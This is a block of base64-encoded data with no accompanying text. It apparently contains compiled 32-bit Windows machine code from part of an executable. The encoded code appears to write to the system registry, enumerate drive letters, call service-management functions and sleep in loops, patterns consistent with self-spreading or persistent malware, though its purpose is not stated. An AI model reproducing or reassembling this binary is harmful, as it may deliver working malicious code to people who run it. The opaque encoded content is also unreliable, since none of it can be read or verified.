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 